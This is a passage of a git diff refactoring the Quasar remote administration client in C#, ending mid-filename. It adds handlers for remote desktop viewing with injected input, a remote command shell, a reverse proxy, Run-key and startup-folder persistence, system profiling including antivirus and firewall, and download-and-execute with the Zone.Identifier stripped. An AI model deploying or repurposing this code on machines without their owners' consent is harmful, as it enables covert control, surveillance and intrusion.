_streamCodec?.Dispose(); + + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + } + + BitmapData desktopData = null; + Bitmap desktop = null; + try + { + desktop = ScreenHelper.CaptureScreen(message.DisplayIndex); + desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), + ImageLockMode.ReadWrite, desktop.PixelFormat); + + using (MemoryStream stream = new MemoryStream()) + { + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + _streamCodec.CodeImage(desktopData.Scan0, + new Rectangle(0, 0, desktop.Width, desktop.Height), + new Size(desktop.Width, desktop.Height), + desktop.PixelFormat, stream); + client.Send(new GetDesktopResponse + { + Image = stream.ToArray(), + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution + }); + } + } + catch (Exception) + { + if (_streamCodec != null) + { + client.Send(new GetDesktopResponse + { + Image = null, + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution + }); + } + + _streamCodec = null; + } + finally + { + if (desktop != null) + { + if (desktopData != null) + { + try + { + desktop.UnlockBits(desktopData); + } + catch + { + } + } + desktop.Dispose(); + } + } + } + + private void Execute(ISender sender, DoMouseEvent message) + { + try + { + Screen[] allScreens = Screen.AllScreens; + int offsetX = allScreens[message.MonitorIndex].Bounds.X; + int offsetY = allScreens[message.MonitorIndex].Bounds.Y; + Point p = new Point(message.X + offsetX, message.Y + offsetY); + + // Disable screensaver if active before input + switch (message.Action) + { + case MouseAction.LeftDown: + case MouseAction.LeftUp: + case MouseAction.RightDown: + case MouseAction.RightUp: + case MouseAction.MoveCursor: + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + break; + } + + switch (message.Action) + { + case MouseAction.LeftDown: + case MouseAction.LeftUp: + NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown); + break; + case MouseAction.RightDown: + case MouseAction.RightUp: + NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown); + break; + case MouseAction.MoveCursor: + NativeMethodsHelper.DoMouseMove(p); + break; + case MouseAction.ScrollDown: + NativeMethodsHelper.DoMouseScroll(p, true); + break; + case MouseAction.ScrollUp: + NativeMethodsHelper.DoMouseScroll(p, false); + break; + } + } + catch + { + } + } + + private void Execute(ISender sender, DoKeyboardEvent message) + { + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + + NativeMethodsHelper.DoKeyPress(message.Key, message.KeyDown); + } + + private void Execute(ISender client, GetMonitors message) + { + client.Send(new GetMonitorsResponse {Number = Screen.AllScreens.Length}); + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + _streamCodec?.Dispose(); + } + } + } +} diff --git a/Quasar.Client/Utilities/Shell.cs b/Quasar.Client/Messages/RemoteShellHandler.cs similarity index 86% rename from Quasar.Client/Utilities/Shell.cs rename to Quasar.Client/Messages/RemoteShellHandler.cs index 7e5bb9006..b8c98c454 100644 --- a/Quasar.Client/Utilities/Shell.cs +++ b/Quasar.Client/Messages/RemoteShellHandler.cs @@ -1,4 +1,6 @@ -using Quasar.Common.Messages; +using Quasar.Client.Networking; +using Quasar.Common.Messages; +using Quasar.Common.Networking; using System; using System.Diagnostics; using System.Globalization; @@ -6,12 +8,12 @@ using System.Text; using System.Threading; -namespace Quasar.Client.Utilities +namespace Quasar.Client.Messages { /// /// This class manages a remote shell session. /// - public class Shell : IDisposable + public class RemoteShellHandler : MessageProcessorBase { /// /// The process of the command-line (cmd). @@ -46,6 +48,39 @@ public class Shell : IDisposable /// private StreamWriter _inputWriter; + private readonly QuasarClient _client; + + public RemoteShellHandler(QuasarClient client) : base(false) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is DoShellExecute; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShellExecute shellExec: + Execute(sender, shellExec); + break; + } + } + + private void Execute(ISender client, DoShellExecute message) + { + string input = message.Command; + + if ((_prc == null || _prc.HasExited) && input == "exit") return; + + if (input == "exit") + Dispose(); + else + ExecuteCommand(input); + } + /// /// Creates a new session of the shell. /// @@ -78,7 +113,7 @@ private void CreateSession() RedirectIO(); - Program.ConnectClient.Send(new DoShellExecuteResponse + _client.Send(new DoShellExecuteResponse { Output = "\n>> New Session created\n" }); @@ -138,7 +173,7 @@ private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError) if (string.IsNullOrEmpty(toSend)) return; - Program.ConnectClient.Send(new DoShellExecuteResponse {Output = toSend, IsError = isError}); + _client.Send(new DoShellExecuteResponse {Output = toSend, IsError = isError}); textBuffer.Clear(); } @@ -175,7 +210,7 @@ private void RedirectStandardOutput() { if (ex is ApplicationException || ex is InvalidOperationException) { - Program.ConnectClient.Send(new DoShellExecuteResponse + _client.Send(new DoShellExecuteResponse { Output = "\n>> Session unexpectedly closed\n", IsError = true @@ -218,7 +253,7 @@ private void RedirectStandardError() { if (ex is ApplicationException || ex is InvalidOperationException) { - Program.ConnectClient.Send(new DoShellExecuteResponse + _client.Send(new DoShellExecuteResponse { Output = "\n>> Session unexpectedly closed\n", IsError = true @@ -244,7 +279,7 @@ public bool ExecuteCommand(string command) } catch (Exception ex) { - Program.ConnectClient.Send(new DoShellExecuteResponse + _client.Send(new DoShellExecuteResponse { Output = $"\n>> Failed to creation shell session: {ex.Message}\n", IsError = true @@ -271,17 +306,7 @@ private string ConvertEncoding(Encoding sourceEncoding, string input) return Encoding.UTF8.GetString(utf8Text); } - /// - /// Releases all resources used by this class. - /// - public void Dispose() - { - Dispose(true); - - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) + protected override void Dispose(bool disposing) { if (disposing) { diff --git a/Quasar.Client/Messages/ReverseProxyHandler.cs b/Quasar.Client/Messages/ReverseProxyHandler.cs new file mode 100644 index 000000000..0efaf63f1 --- /dev/null +++ b/Quasar.Client/Messages/ReverseProxyHandler.cs @@ -0,0 +1,63 @@ +using Quasar.Client.Networking; +using Quasar.Client.ReverseProxy; +using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; +using Quasar.Common.Networking; + +namespace Quasar.Client.Messages +{ + public class ReverseProxyHandler : MessageProcessorBase + { + private readonly QuasarClient _client; + + public ReverseProxyHandler(QuasarClient client) : base(false) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is ReverseProxyConnect || + message is ReverseProxyData || + message is ReverseProxyDisconnect; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case ReverseProxyConnect msg: + Execute(sender, msg); + break; + case ReverseProxyData msg: + Execute(sender, msg); + break; + case ReverseProxyDisconnect msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, ReverseProxyConnect message) + { + _client.ConnectReverseProxy(message); + } + + private void Execute(ISender client, ReverseProxyData message) + { + ReverseProxyClient proxyClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); + + proxyClient?.SendToTargetServer(message.Data); + } + private void Execute(ISender client, ReverseProxyDisconnect message) + { + ReverseProxyClient socksClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); + + socksClient?.Disconnect(); + } + + protected override void Dispose(bool disposing) + { + + } + } +} diff --git a/Quasar.Client/Messages/ShutdownHandler.cs b/Quasar.Client/Messages/ShutdownHandler.cs new file mode 100644 index 000000000..943044726 --- /dev/null +++ b/Quasar.Client/Messages/ShutdownHandler.cs @@ -0,0 +1,67 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class ShutdownHandler : MessageProcessorBase + { + public ShutdownHandler() : base(false) + { + } + + public override bool CanExecute(IMessage message) => message is DoShutdownAction; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShutdownAction msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoShutdownAction message) + { + try + { + ProcessStartInfo startInfo = new ProcessStartInfo(); + switch (message.Action) + { + case ShutdownAction.Shutdown: + startInfo.WindowStyle = ProcessWindowStyle.Hidden; + startInfo.UseShellExecute = true; + startInfo.Arguments = "/s /t 0"; // shutdown + startInfo.FileName = "shutdown"; + Process.Start(startInfo); + break; + case ShutdownAction.Restart: + startInfo.WindowStyle = ProcessWindowStyle.Hidden; + startInfo.UseShellExecute = true; + startInfo.Arguments = "/r /t 0"; // restart + startInfo.FileName = "shutdown"; + Process.Start(startInfo); + break; + case ShutdownAction.Standby: + Application.SetSuspendState(PowerState.Suspend, true, true); // standby + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Action failed: {ex.Message}" }); + } + } + + protected override void Dispose(bool disposing) + { + + } + } +} diff --git a/Quasar.Client/Messages/StartupManagerHandler.cs b/Quasar.Client/Messages/StartupManagerHandler.cs new file mode 100644 index 000000000..db088a846 --- /dev/null +++ b/Quasar.Client/Messages/StartupManagerHandler.cs @@ -0,0 +1,293 @@ +using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; + +namespace Quasar.Client.Messages +{ + public class StartupManagerHandler : MessageProcessorBase + { + public StartupManagerHandler() : base(false) + { + } + + public override bool CanExecute(IMessage message) => message is GetStartupItems || + message is DoStartupItemAdd || + message is DoStartupItemRemove; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetStartupItems msg: + Execute(sender, msg); + break; + case DoStartupItemAdd msg: + Execute(sender, msg); + break; + case DoStartupItemRemove msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetStartupItems message) + { + try + { + List startupItems = new List(); + + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce }); + } + } + } + if (PlatformHelper.Is64Bit) + { + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineWoW64Run }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { + Name = item.Item1, + Path = item.Item2, + Type = StartupType.LocalMachineWoW64RunOnce + }); + } + } + } + } + if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) + { + var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); + + startupItems.AddRange(files.Where(file => file.Name != "desktop.ini").Select(file => new Common.Models.StartupItem + { Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu })); + } + + client.Send(new GetStartupItemsResponse { StartupItems = startupItems }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Getting Autostart Items failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoStartupItemAdd message) + { + try + { + switch (message.StartupItem.Type) + { + case StartupType.LocalMachineRun: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunOnce: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.CurrentUserRun: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.CurrentUserRunOnce: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineWoW64Run: + if (!PlatformHelper.Is64Bit) + throw new NotSupportedException("Only on 64-bit systems supported"); + + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineWoW64RunOnce: + if (!PlatformHelper.Is64Bit) + throw new NotSupportedException("Only on 64-bit systems supported"); + + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.StartMenu: + if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) + { + Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); + } + + string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), + message.StartupItem.Name + ".url"); + + using (var writer = new StreamWriter(lnkPath, false)) + { + writer.WriteLine("[InternetShortcut]"); + writer.WriteLine("URL=file:///" + message.StartupItem.Path); + writer.WriteLine("IconIndex=0"); + writer.WriteLine("IconFile=" + message.StartupItem.Path.Replace('\\', '/')); + writer.Flush(); + } + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Adding Autostart Item failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoStartupItemRemove message) + { + try + { + switch (message.StartupItem.Type) + { + case StartupType.LocalMachineRun: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunOnce: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.CurrentUserRun: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.CurrentUserRunOnce: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineWoW64Run: + if (!PlatformHelper.Is64Bit) + throw new NotSupportedException("Only on 64-bit systems supported"); + + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineWoW64RunOnce: + if (!PlatformHelper.Is64Bit) + throw new NotSupportedException("Only on 64-bit systems supported"); + + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.StartMenu: + string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name); + + if (!File.Exists(startupItemPath)) + throw new IOException("File does not exist"); + + File.Delete(startupItemPath); + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Removing Autostart Item failed: {ex.Message}" }); + } + } + + protected override void Dispose(bool disposing) + { + + } + } +} diff --git a/Quasar.Client/Messages/SystemInformationHandler.cs b/Quasar.Client/Messages/SystemInformationHandler.cs new file mode 100644 index 000000000..a1043c4d1 --- /dev/null +++ b/Quasar.Client/Messages/SystemInformationHandler.cs @@ -0,0 +1,78 @@ +using Quasar.Client.Helper; +using Quasar.Client.IpGeoLocation; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.NetworkInformation; + +namespace Quasar.Client.Messages +{ + public class SystemInformationHandler : MessageProcessorBase + { + public SystemInformationHandler() : base(false) + { + } + + public override bool CanExecute(IMessage message) => message is GetSystemInfo; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetSystemInfo msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetSystemInfo message) + { + try + { + IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); + + var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; + var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; + + var geoInfo = GeoInformationFactory.GetGeoInformation(); + + List> lstInfos = new List> + { + new Tuple("Processor (CPU)", DevicesHelper.GetCpuName()), + new Tuple("Memory (RAM)", $"{DevicesHelper.GetTotalRamAmount()} MB"), + new Tuple("Video Card (GPU)", DevicesHelper.GetGpuName()), + new Tuple("Username", WindowsAccountHelper.GetName()), + new Tuple("PC Name", SystemHelper.GetPcName()), + new Tuple("Domain Name", domainName), + new Tuple("Host Name", hostName), + new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)), + new Tuple("System Directory", Environment.SystemDirectory), + new Tuple("Uptime", SystemHelper.GetUptime()), + new Tuple("MAC Address", DevicesHelper.GetMacAddress()), + new Tuple("LAN IP Address", DevicesHelper.GetLanIp()), + new Tuple("WAN IP Address", geoInfo.IpAddress), + new Tuple("ASN", geoInfo.Asn), + new Tuple("ISP", geoInfo.Isp), + new Tuple("Antivirus", SystemHelper.GetAntivirus()), + new Tuple("Firewall", SystemHelper.GetFirewall()), + new Tuple("Time Zone", geoInfo.Timezone), + new Tuple("Country", geoInfo.Country) + }; + + client.Send(new GetSystemInfoResponse { SystemInfos = lstInfos }); + } + catch + { + } + } + + protected override void Dispose(bool disposing) + { + + } + } +} diff --git a/Quasar.Client/Messages/TaskManagerHandler.cs b/Quasar.Client/Messages/TaskManagerHandler.cs new file mode 100644 index 000000000..890a50fef --- /dev/null +++ b/Quasar.Client/Messages/TaskManagerHandler.cs @@ -0,0 +1,149 @@ +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Client.Utilities; +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Net; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class TaskManagerHandler : MessageProcessorBase + { + private readonly QuasarClient _client; + + public TaskManagerHandler(QuasarClient client) : base(false) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is GetProcesses || + message is DoProcessStart || + message is DoProcessEnd; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetProcesses msg: + Execute(sender, msg); + break; + case DoProcessStart msg: + Execute(sender, msg); + break; + case DoProcessEnd msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetProcesses message) + { + Process[] pList = Process.GetProcesses(); + var processes = new Common.Models.Process[pList.Length]; + + for (int i = 0; i < pList.Length; i++) + { + var process = new Common.Models.Process + { + Name = pList[i].ProcessName + ".exe", + Id = pList[i].Id, + MainWindowTitle = pList[i].MainWindowTitle + }; + processes[i] = process; + } + + client.Send(new GetProcessesResponse { Processes = processes }); + } + + private void Execute(ISender client, DoProcessStart message) + { + new Thread(() => + { + string filePath = message.FilePath; + + if (string.IsNullOrEmpty(filePath)) + { + if (string.IsNullOrEmpty(message.DownloadUrl)) + { + client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + return; + } + + filePath = FileHelper.GetTempFilePath(".exe"); + + // download first + try + { + using (WebClient c = new WebClient()) + { + c.Proxy = null; + c.DownloadFile(message.DownloadUrl, filePath); + } + + FileHelper.DeleteZoneIdentifier(filePath); + } + catch + { + client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + NativeMethods.DeleteFile(filePath); + return; + } + } + + try + { + if (message.IsUpdate) + { + if (ClientUpdater.Update(client, filePath)) + { + _client.Exit(); + } + else + { + throw new Exception("Update failed"); + } + } + else + { + ProcessStartInfo startInfo = new ProcessStartInfo + { + UseShellExecute = true, + FileName = filePath + }; + Process.Start(startInfo); + } + client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true }); + } + catch + { + client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false }); + } + }).Start(); + } + + private void Execute(ISender client, DoProcessEnd message) + { + try + { + Process.GetProcessById(message.Pid).Kill(); + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = true }); + } + catch + { + client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false }); + } + } + + protected override void Dispose(bool disposing) + { + + } + } +} diff --git a/Quasar.Client/Commands/TcpConnectionsHandler.cs b/Quasar.Client/Messages/TcpConnectionsHandler.cs similarity index 50% rename from Quasar.Client/Commands/TcpConnectionsHandler.cs rename to Quasar.Client/Messages/TcpConnectionsHandler.cs index 744afe618..2948c9ee2 100644 --- a/Quasar.Client/Commands/TcpConnectionsHandler.cs +++ b/Quasar.Client/Messages/TcpConnectionsHandler.cs @@ -1,29 +1,53 @@ -using Quasar.Client.Utilities; +using Quasar.Client.Networking; +using Quasar.Client.Utilities; using Quasar.Common.Enums; using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; using System; using System.Runtime.InteropServices; -using Models = Quasar.Common.Models; -using Process = System.Diagnostics.Process; -namespace Quasar.Client.Commands +namespace Quasar.Client.Messages { - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE TCP Connections COMMANDS. */ - - public static partial class CommandHandler + public class TcpConnectionsHandler : MessageProcessorBase { - public static void HandleGetConnections(Networking.Client client, GetConnections packet) + private readonly QuasarClient _client; + + public TcpConnectionsHandler(QuasarClient client) : base(false) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is GetConnections || + message is DoCloseConnection; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetConnections msg: + Execute(sender, msg); + break; + case DoCloseConnection msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetConnections message) { var table = GetTable(); - var connections = new Models.TcpConnection[table.Length]; + var connections = new TcpConnection[table.Length]; for (int i = 0; i < table.Length; i++) { string processName; try { - var p = Process.GetProcessById((int)table[i].owningPid); + var p = System.Diagnostics.Process.GetProcessById((int)table[i].owningPid); processName = p.ProcessName; } catch @@ -31,29 +55,31 @@ public static void HandleGetConnections(Networking.Client client, GetConnections processName = $"PID: {table[i].owningPid}"; } - connections[i] = new Models.TcpConnection { + connections[i] = new TcpConnection + { ProcessName = processName, LocalAddress = table[i].LocalAddress.ToString(), LocalPort = table[i].LocalPort, RemoteAddress = table[i].RemoteAddress.ToString(), RemotePort = table[i].RemotePort, - State = (ConnectionState) table[i].state}; + State = (ConnectionState)table[i].state + }; } - client.Send(new GetConnectionsResponse {Connections = connections}); + client.Send(new GetConnectionsResponse { Connections = connections }); } - public static void HandleDoCloseConnection(Networking.Client client, DoCloseConnection packet) + private void Execute(ISender client, DoCloseConnection message) { var table = GetTable(); for (var i = 0; i < table.Length; i++) { //search for connection - if (packet.LocalAddress == table[i].LocalAddress.ToString() && - packet.LocalPort == table[i].LocalPort && - packet.RemoteAddress == table[i].RemoteAddress.ToString() && - packet.RemotePort== table[i].RemotePort) + if (message.LocalAddress == table[i].LocalAddress.ToString() && + message.LocalPort == table[i].LocalPort && + message.RemoteAddress == table[i].RemoteAddress.ToString() && + message.RemotePort == table[i].RemotePort) { // it will close the connection only if client run as admin //table[i].state = (byte)ConnectionStates.Delete_TCB; @@ -65,7 +91,7 @@ public static void HandleDoCloseConnection(Networking.Client client, DoCloseConn } } - private static NativeMethods.MibTcprowOwnerPid[] GetTable() + private NativeMethods.MibTcprowOwnerPid[] GetTable() { NativeMethods.MibTcprowOwnerPid[] tTable; var afInet = 2; @@ -77,14 +103,14 @@ private static NativeMethods.MibTcprowOwnerPid[] GetTable() ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); if (ret != 0) return null; - var tab = (NativeMethods.MibTcptableOwnerPid) Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid)); - var rowPtr = (IntPtr) ((long) buffTable + Marshal.SizeOf(tab.dwNumEntries)); + var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid)); + var rowPtr = (IntPtr)((long)buffTable + Marshal.SizeOf(tab.dwNumEntries)); tTable = new NativeMethods.MibTcprowOwnerPid[tab.dwNumEntries]; for (var i = 0; i < tab.dwNumEntries; i++) { - var tcpRow = (NativeMethods.MibTcprowOwnerPid) Marshal.PtrToStructure(rowPtr, typeof(NativeMethods.MibTcprowOwnerPid)); + var tcpRow = (NativeMethods.MibTcprowOwnerPid)Marshal.PtrToStructure(rowPtr, typeof(NativeMethods.MibTcprowOwnerPid)); tTable[i] = tcpRow; - rowPtr = (IntPtr) ((long) rowPtr + Marshal.SizeOf(tcpRow)); + rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(tcpRow)); } } finally @@ -93,5 +119,10 @@ private static NativeMethods.MibTcprowOwnerPid[] GetTable() } return tTable; } + + protected override void Dispose(bool disposing) + { + + } } -} \ No newline at end of file +} diff --git a/Quasar.Client/Messages/UserStatusHandler.cs b/Quasar.Client/Messages/UserStatusHandler.cs new file mode 100644 index 000000000..bc2b9c6fa --- /dev/null +++ b/Quasar.Client/Messages/UserStatusHandler.cs @@ -0,0 +1,82 @@ +using Quasar.Client.Helper; +using Quasar.Client.Networking; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System.Diagnostics; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class UserStatusHandler : MessageProcessorBase + { + public UserStatus LastUserStatus { get; private set; } + + private readonly QuasarClient _client; + + private readonly CancellationTokenSource _tokenSource; + + private readonly CancellationToken _token; + + public UserStatusHandler(QuasarClient client) : base(false) + { + // TODO: handle disconnect + _client = client; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + new Thread(UserIdleThread) { IsBackground = true }.Start(); + } + + public override bool CanExecute(IMessage message) => false; + + public override bool CanExecuteFrom(ISender sender) => false; + + public override void Execute(ISender sender, IMessage message) + { + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + _tokenSource.Cancel(); + } + } + + private void UserIdleThread() + { + while (!_token.IsCancellationRequested) + { + Thread.Sleep(1000); + if (IsUserIdle()) + { + if (LastUserStatus != UserStatus.Idle) + { + LastUserStatus = UserStatus.Idle; + _client.Send(new SetUserStatus {Message = LastUserStatus}); + } + } + else + { + if (LastUserStatus != UserStatus.Active) + { + LastUserStatus = UserStatus.Active; + _client.Send(new SetUserStatus {Message = LastUserStatus}); + } + } + } + + } + + private bool IsUserIdle() + { + long ticks = Stopwatch.GetTimestamp(); + + long idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); + + idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0); + + return (idleTime > 600); // idle for 10 minutes + } + } +} diff --git a/Quasar.Client/Commands/MiscHandler.cs b/Quasar.Client/Messages/WebsiteVisitorHandler.cs similarity index 53% rename from Quasar.Client/Commands/MiscHandler.cs rename to 